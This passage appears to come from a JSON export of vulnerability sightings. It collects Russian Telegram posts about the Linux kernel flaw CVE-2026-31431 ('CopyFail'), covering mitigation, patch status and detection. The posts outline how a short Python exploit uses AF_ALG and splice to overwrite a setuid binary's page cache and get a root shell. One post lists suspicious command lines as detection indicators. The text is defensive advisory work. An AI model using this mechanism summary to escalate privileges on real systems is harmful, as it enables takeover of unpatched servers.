\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e, \u0430 \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c algif_aead (\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 AF_ALG \u0434\u043b\u044f AEAD).\n\n\u041a\u0430\u043a \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443: \n\n\u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u043d\u0430 Python \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0432\u044b\u0448\u0435.  \u0417\u0430\u043f\u0443\u0441\u043a \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0442\u0440\u043e\u043a\u0430\u043c:\n \nsh -c -- su\nsh -c -- newgrp\nsh -c -- passwd\nsh -c -- gpasswd\nsh -c -- sudo\nsh -c -- chfn\nsh -c -- umount\nsh -c -- mount\nsh -c -- fusermount3\nsh -c -- chsh\nsh -c -- su\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 setuid-\u0444\u0430\u0439\u043b\u0430\u043c\u0438.  \n\n\u041c\u043e\u0436\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0438 \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: python \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 shell. \n\n\u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c:\n\n\u2014 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u043a\u0435\u0442\u0430 AF_ALG (\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 API \u044f\u0434\u0440\u0430 Linux) \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438, \n\u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 splice(), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0436\u0434\u0443 \u0434\u0432\u0443\u043c\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u0430\u043c\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0432 \u043f\u0430\u0439\u043f \u0438\u043b\u0438 \u0438\u0437 \u0441\u043e\u043a\u0435\u0442\u0430 \u0432 \u0444\u0430\u0439\u043b) \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430.\n\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432, \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043b\u0438\u0447\u0430\u0442\u044c\u0441\u044f. \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0438 \u0434\u043e\u0447\u0435\u0440\u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043b\u0438\u0431\u043e \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.", "creation_timestamp": "2026-07-25T15:00:05.278956Z"}, {"uuid": "060158de-2d5a-4fc2-8a52-d79c059c2311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/ZerodayAlert/688", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 Linux \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\n\nCVE-2026-31431 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u044f\u0434\u0440\u0430 Linux, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0435 \u0441 2017 \u0433\u043e\u0434\u0430. \u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043a\u044d\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043e\u0431\u044b\u0447\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c.\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 Python \u0438 \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 \u0438 SUSE 16. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u2014 \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\nCISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 CopyFail \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u043e\u0431\u044f\u0437\u0430\u043b\u0430 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0421\u0428\u0410 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438 \u0434\u043e 15 \u043c\u0430\u044f. Microsoft Defender \u0443\u0436\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u0430 \u0447\u0438\u0441\u043b\u043e \u0430\u0442\u0430\u043a \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0434\u043d\u0438 \u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0437\u043a\u043e \u0432\u044b\u0440\u0430\u0441\u0442\u0438.\n\n#linux #CopyFail #zeroday #CISA \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:07.576969Z"}, {"uuid": "e06cc087-886d-4336-8ff2-2df4de52dff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/ZerodayAlert/679", "content": "\ud83d\ude1e10 \u0441\u0442\u0440\u043e\u043a Python \u2192 root \u043d\u0430 \u043b\u044e\u0431\u043e\u043c Linux \u0441 2017 \u0433\u043e\u0434\u0430. \u0412\u0441\u0442\u0440\u0435\u0447\u0430\u0439\u0442\u0435 Copy Fail\n\n\u0412 Linux \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Copy Fail, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0434\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0434\u043e root-\u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u043e\u043c\u0435\u0440 CVE-2026-31431 \u0438 \u0443\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u043f\u0430\u0442\u0447\u0430\u043c\u0438 \u0432 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u044f\u0434\u0440\u043e Linux \u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0430 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0441\u0440\u0435\u0434, CI/CD-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u0438\u0441\u0442\u0435\u043c, \u0433\u0434\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: Python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0435\u0433\u043e \u043d\u0430 10 \u0441\u0442\u0440\u043e\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0444\u043b\u0430\u0433\u043e\u043c setuid \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e Copy Fail \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u043f\u043e\u0441\u043b\u0435 RCE, \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 SSH \u0438\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441\u0431\u043e\u0440\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0443\u0442\u0451\u043c \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. Debian, Ubuntu, SUSE \u0438 Red Hat \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n#Linux #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n@SecLabNews", "creation_timestamp": "2026-07-25T15:00:07.666714Z"}, {"uuid": "2dff1652-6e42-475a-a262-326ebb0b2f85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/19jX0NJqwe-eDt64VLMorAQsUD0HmaUpeFyqaT6gmBrbpYo", "content": "", "creation_timestamp": "2026-07-26T00:00:45.234940Z"}, {"uuid": "ce14e460-0d7c-4417-8f75-428121429876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/ZerodayAlert/688", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u044f\u0434\u0440\u0435 Linux \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c\n\nCVE-2026-31431 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u044f\u0434\u0440\u0430 Linux, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0435 \u0441 2017 \u0433\u043e\u0434\u0430. \u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043a\u044d\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u043e\u0431\u044b\u0447\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c.\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 Python \u0438 \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 \u0438 SUSE 16. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u2014 \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\nCISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 CopyFail \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u043e\u0431\u044f\u0437\u0430\u043b\u0430 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0421\u0428\u0410 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438 \u0434\u043e 15 \u043c\u0430\u044f. Microsoft Defender \u0443\u0436\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u0430 \u0447\u0438\u0441\u043b\u043e \u0430\u0442\u0430\u043a \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0434\u043d\u0438 \u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0437\u043a\u043e \u0432\u044b\u0440\u0430\u0441\u0442\u0438.\n\n#linux #CopyFail #zeroday #CISA \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:37.092839Z"}, {"uuid": "88efe6d5-58c5-49a2-a996-1732aed44ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/soldatov_in_telegram/818", "content": "\u041d\u0430 \u0434\u043d\u044f\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 (CopyFail) \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0441\u0435\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\n\u0421\u0443\u0442\u044c \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \n\n\u041a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c authencesn \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0447\u0430\u0441\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430\u00bb \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u0435\u0448\u0430 \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0434\u0430\u0451\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 732-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 Python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 AF_ALG \u0438 splice \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0431\u0430\u0439\u0442 \u0432 \u043a\u0435\u0448, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, setuid-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e, \u0430 \u0435\u0441\u043b\u0438 \u044d\u0442\u043e 